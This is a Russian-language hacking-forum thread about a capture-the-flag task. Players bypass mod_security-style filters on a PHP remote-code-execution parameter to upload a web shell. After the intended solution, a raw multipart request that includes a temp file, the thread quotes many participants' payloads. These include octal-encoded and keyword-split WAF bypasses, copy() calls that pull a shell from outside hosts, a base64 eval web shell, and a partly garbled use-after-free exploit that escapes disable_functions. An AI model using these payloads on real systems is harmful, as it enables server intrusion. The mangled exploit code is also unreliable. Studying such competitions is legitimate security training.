ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   Task #12 (https://forum.antichat.io/showthread.php?t=478776)

Тот_самый_Щуп 02.09.2020 18:50

Задача: есть параметр уязвимый к RCE, но провести полноценную атаку мешают фильтры, которые сводят угрозу выполнения произвольного кода к минимуму.

На сайте есть врайтабельная папка. Вам предлагается обойти фильтры, выполнить произвольный PHP код и залить "шелла" в эту самую врайтабельную папку.

Таск основан на реальных фильтрах mod_security, с некоторыми авторскими модификациями

Решением будет считаться код, с помощью которого можно будет залить "шелла" во врайтабельную папку.

Отдельно выполненные команды типа phpinfo() - не считаются.

Брутить и сканить ничего не нужно.

Сложность и креативность решения будет оцениваться отдельно. Данный таск можно пройти разными вариантами исполнения.

Срок:

две недели.

Таргет:

http://task12.antichat.com

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС.

Прошли:

crlf

neur0funk

Baskin-Robbins

Shubka75

Раrаdох

Hulkus

MichelleBoxing

joelblack

ckpunmkug

Harakternik

look2009


fandor9




Тот_самый_Щуп 02.09.2020 19:23

Первый прошедший уже есть!

crlf 02.09.2020 20:11

Изи таск

neur0funk 03.09.2020 00:41

done

dooble 03.09.2020 09:55

Как справедливо заметил Crlf, это изи-таск.

Но у задания хороший потенциал:

во-первых, RCE - всегда интересно, а обход фильтров - классика жанра

во-вторых, автор таска моделирует реальный случай, но оставил больше вариантов решения, чем имел сам.

в-третьих, решений много, в т.ч. есть и интересные.

в-четвертых, даже самое простое решение требует твоего включения и "повтыкать", скушно не будет.

Обращаюсь к паблику: Crlf`ами не рождаются, ими становятся. Вот Вам первая ступенька - CRLF[Level1].

И хорошая возможность - шагнуть на эту ступеньку.

А для Крлфов высокого уровня тоже есть варианты, возможно мы их увидим.

Как показывает практика, все мы сначала ищем простые решения, но для спеца 80-го уровня они начинаются не с первого, а примерно с 75 - 76, поэтому ждем их тоже.

Shubka75 03.09.2020 18:50

Прошел таск

Раrаdох 04.09.2020 00:28

Спасибо за задачу! Выбранное мной решение оказалось не сложным.

Hulkus 04.09.2020 12:25

Прошел)

joelblack 04.09.2020 17:18

Спасибо за таск

ckpunmkug 04.09.2020 23:19

Прошел. Отличный таск. Спасибо.

MichelleBoxing 05.09.2020 09:46

Спасибо за таск

Harakternik 06.09.2020 02:48

Прошел за 2.5 часа.

Спасибо за task.

look2009 10.09.2020 10:59

Готово. Спасибо.

fandor9 14.09.2020 03:24

Шел залил. Спасибо за задачу!

Тот_самый_Щуп 16.09.2020 15:59

Если кому нужно дополнительное время, пишите в ЛС. Таск скоро закрывается

Тот_самый_Щуп 18.09.2020 06:18

Таск закрыт. Решения участников будут чуть позже.

Тот_самый_Щуп 19.09.2020 23:46

За идею для таска была взята основа конфигурации mod_security с одного ресурса.

Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений ))

Изначально решение таска планировалось таким.

Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано.

mod_security в нашем случае не блокировал callback функции filter_

Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя:

filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile"));

Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку:

Код:

$vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry);
Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет.

По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude

Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код.

Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить.

Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив.

Выглядит это следующим образом:

Код:

include('/tmp/'.scandir('/tmp/')[6]);
Соответственно формируем специальный http заголовок, и посылаем это на сервер:

.SpoilerTarget" type="button">Spoiler

Код:

POST / HTTP/1.1
Host: task12.antichat.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284
Content-Length: 403
 
-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="x"; filename="1.jpg"
Content-Type: image/jpeg
 

-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="rce"
 
$b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die();
-----------------------------cd34e5c25fdd9f588c11127a23284--

И уже имеем полноценный RCE который ничем не блокируется.

Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов.

Сами решения участников:

.SpoilerTarget" type="button">Spoiler

Цитата:

Сообщение от crlf
rce=file_put_contents/**/('I62oGbVMH57C25ASBVdk/ololo','');print_r/**/(scandir/**/('I62oGbVMH57C25ASBVdk'));

Цитата:

Сообщение от neur0funk

$i=scandir('./');foreach($i as $a){print($a.PHP_EOL);};
папка -> I62oGbVMH57C25ASBVdk
copy('
http://img.com/static/img/img-logo.png
', './I62oGbVMH57C25ASBVdk/logo.png');
шелл неоткуда было тянуть, а белый домен не хотелось плить

Цитата:

Сообщение от Baskin-Robbins

Ищем папку:
$f1="\163\143\141\156\144\151\162"("/var/www/html/");"\160\162\151\156\164\137\162"($f1);
$f1="\163\143\141\156\144\151\162"("/var/www/html/I62oGbVMH57C25ASBVdk/");"\160\162\151\156\164\137\162"($f1);
Заливаемся:
"\143\157\160\171\137\162"("
http://afgsdagdfhghgjgfj.coolpage.biz/sdghdshdhdjh.txt
","/var/www/html/I62oGbVMH57C25ASBVdk/sdghdshdhdjh.php");
#2
ну например так можно еще
$dirs = dir("/var/www/html");while (false !== ($wrdirs = $dirs->read())) { echo $wrdirs."\n"; };
copy("
http://localhost.com/index.html
","/var/www/html/shell_12");
#3
и вот так можно
$fro = array('file_get_contents','ololo');$fiii = $fro[0]("
http://localhost.com/index.html
");$fredd = array('file_put_contents','ololo');$fredd[0]("/var/www/html/shell_12",$fiii);
#4
$pro1 = 'copy';
$ex = explode(" ",$pro1);
implode(" ",$ex)("
http://localhost.com/index.html
","/var/www/html/shell_12");

Цитата:

Сообщение от Baskin-Robbins

кароч лови, чисто по фану, вариант с байпасом твоего фильтра и system в disable_functions
Spoiler: удобочитаемый
pwn("ls");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace1 = 'debug_backtrace';
$backtrace2 = explode(" ",$backtrace1);
$backtrace = implode(" ",$backtrace2)();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for ($j = $s-1; $j >= 0; $j--) {
$address >= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i >= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;
}
$n_alloc = 10;
$contiguous = [];
for ($i = 0; $i b = function ($x) { };
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_sdystem($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i b)($cmd);
exit();
}
Spoiler: в одну строку чтобы не ругался
pwn("ls"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace;unset($this->a); $backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace1 = 'debug_backtrace';$backtrace2 = explode(" ",$backtrace1);$backtrace = implode(" ",$backtrace2)();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for ($j = $s-1; $j >= 0; $j--) {$address >= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for ($i = 0; $i >= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;}$n_alloc = 10; $contiguous = [];for ($i = 0; $i b = function ($x) { };if (strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if (!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if (!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if (!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if (!($zif_system = get_sdystem($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for ($i = 0; $i b)($cmd);exit();}
ну сам сплоит ты думаю знаешь

Цитата:

Сообщение от Shubka75

Привет.
Код:

"\160\162\151\156\164\137\162"(scandir('./')); - находим врайтабельную диру
"\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163"('./I62oGbVMH57C25ASBVdk/test.txt', 'test'); - и льемся в нее


Цитата:

Сообщение от Раrаdох

Добрый вечер!
Задача решилась вовсе несложно:
Сперва необходимо найти директорию с правами на запись (данный момент зафиксирован в условиях задачи). Делаем это с помощью инъекции следующего кода, который поможет произвести листинг директорий в текущей папке веб-приложения:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]print_r[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scandir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR

Можно заметить, что для обхода WAF используется пустой комментарий для раздробления имени функции print_r и списка её аргументов — такой вариант не учитывается. Впрочем, можно было обойтись и обычным echo() который не запрещен, вручную перебрав индексы всех файлов (помимо данного, и этот вариант далеко не последний).
Найдя папку с идентификатором "I62oGbVMH57C25ASBVdk", осталось лишь зашить полезную нагрузку в файл, используя самую очевидную для этого функцию, а также вышеупомянутый метод обхода WAF:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"I62oGbVMH57C25ASBVdk/paradox.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"payload"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Теперь можно эмпирически убедиться, что по адресу /I62oGbVMH57C25ASBVdk/paradox.php располагается рабочая полезная нагрузка.
Задача решена. Если возникнет необходимость в полезную нагрузку запихнуть что-то "запрещенное", — то можно закодировать оную в base64 либо использовать конкатенацию функций chr() / любой иной метод.

Цитата:

Сообщение от Hulkus

Доброй ночи.
В поле input вставил - 0;#?> узнал каталог I62oGbVMH57C25ASBVdk.
Проверил 0;#?>
Залил шелл 0;#?>
Этого достаточно? В первый раз прохожу.
Спасибо.
дополню.
переводим file_put_contents в oct
выполняем
0;#?>
получаем шелл
http://task.antichat.com:10012/I62oG...SBVdk/0008.php

Цитата:

Сообщение от MichelleBoxing

Привет,
залил файл boxing.txt
Решение
Сначала находим директорию для записи
var_export(scandir('/var/www/html/'));
Смотрим ради интереса исходник index.php
var_export(copy('/var/www/html/index.php','php://output'));
Через эту же функцию copy пишем файл
copy('data://text/plain,supershell_code','/var/www/html/I62oGbVMH57C25ASBVdk/boxing.txt');
Спасибо за интересный таск )

Цитата:

Сообщение от joelblack

Привет)
Код:

rce=chdir('/var/www/html/I62oGbVMH57C25ASBVdk/');$file = new SplFileObject("t4sk_AchAt.php", "w");$file->fputcsv([''],',',' ');print(implode("
",scandir( '.')));


Цитата:

Сообщение от ckpunmkug

История прохождения:
В начале я глянул код страницы - ничего полезного, форма как форма.
Потом посмотрел что такое RCE на
https://ru.bmstu.wiki/RCE_(Remote_Code_Execution)
И смастерил на локалке стенд
Код:


   
       
            Enter value:

Прочитал ещё раз условия и загуглил mod_security, оказывается правильно писать слитно.
Нашел и установил к apache2 ModSecurity
Код:

apt-cache search modsecurity
apt install libapache2-mod-security2

Зашел на стенд и понял что нужно исполнить и завершиться
Код:

die('XA!');
Потом подумал что нужно получать результат исполнения
Код:

die(var_export(['XA','Xa','xa','!'], true));
Получаю доступные директории (open_basedir)
Код:

die(phpinfo());
Начинаю сканить директории
Код:

die(var_export(scandir('.'),true));
Код:

array (
  0 => '.',
  1 => '..',
  2 => '.htaccess',
  3 => 'I62oGbVMH57C25ASBVdk',
  4 => 'favicon.ico',
  5 => 'index.php',
)

Хочу узнать что такое I62oGbVMH57C25ASBVdk
Код:

die(var_export(stat('I62oGbVMH57C25ASBVdk'),true));
Код:

array (
  0 => 169,
  1 => 892913827,
  2 => 16895,
  3 => 1,
  4 => 0,
  5 => 0,
  6 => 0,
  7 => 4096,
  8 => 1599199092,
  9 => 1599238668,
  10 => 1599238668,
  11 => 4096,
  12 => 8,
  'dev' => 169,
  'ino' => 892913827,
  'mode' => 16895,
  'nlink' => 1,
  'uid' => 0,
  'gid' => 0,
  'rdev' => 0,
  'size' => 4096,
  'atime' => 1599199092,
  'mtime' => 1599238668,
  'ctime' => 1599238668,
  'blksize' => 4096,
  'blocks' => 8,
)

Преобразую mode и понимаю что можно читать писать и запускать
Код:

40777
Заглядываю в мануал и вижу что это дира
Код:

man 7 inode
S_IFDIR    0040000  directory

Заглядываю внутрь
Код:

die(var_export(scandir('I62oGbVMH57C25ASBVdk'),true));
В одном из файлов нахожу подсказку
Код:

file_put_contents/**/('./I62oGbVMH57C25ASBVdk/baton.txt',urldecode/**/(substr/**/(file_get_contents/**/("php://input"),4)));
Но я хочу ценично залиться, а $_FILES фильтруется. Поэтому я зашел с другой стороны.
Код:

function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));
Затем создал формочку
Код:


И залился! Мой файл ckpunmkug.php
Код:

function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));

Цитата:

Сообщение от Harakternik

Здравствуйте!
Прочитал
/threads/478776/
Я прошел, только шелл не выполняется как PHP-скрипт. Так и должно быть?
Надо присылать описание своего прохождения (у меня в текстовом документе) и код, чтобы меня поместили в список в первом посте?
Вот ссылка на них:
https://www.sendspace.com/file/t9ldpb
Пароль на архив WinRAR:
task12
Созданный в папке с правами на запись файл:
http://task.antichat.com:10012/I62oG...arakternik.php
Спасибо.

Цитата:

Сообщение от look2009

PHP код:

[COLOR="#000000"]$path = scandir("/var/www/html/");foreach($path as $k){echo $k."
"
;} //смотрим папку
$path = scandir("/var/www/html/I62oGbVMH57C25ASBVdk/");foreach($path as $k){echo $k."
"
;} //смотрим подпапку
copy('/var/www/html/index.php','/var/www/html/I62oGbVMH57C25ASBVdk/index.txt');// копируем индекс
firequirele_purequiret_contenrequirets('/var/www/html/I62oGbVMH57C25ASBVdk/look2009.php', '[COLOR="#0000BB"][/COLOR]');// соглано правилам index.php заливаем что хотим[/COLOR] 


Цитата:

Сообщение от fandor9

Привет,
шелл залил с помощью:
$ce="PD9waHAgZXZhbCgkX0dFVFtcImNtZFwiXSk7===";$pe= "ZmlsZV9wdXRfY29udGVudHM=";$c="base64_decode"($ce) ;$p="base64_decode"($pe);echo $p;"file_put_contents"("./I62oGbVMH57C25ASBVdk/ololo",$c);



Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами.

В общем, все молодцы.


Время: 11:28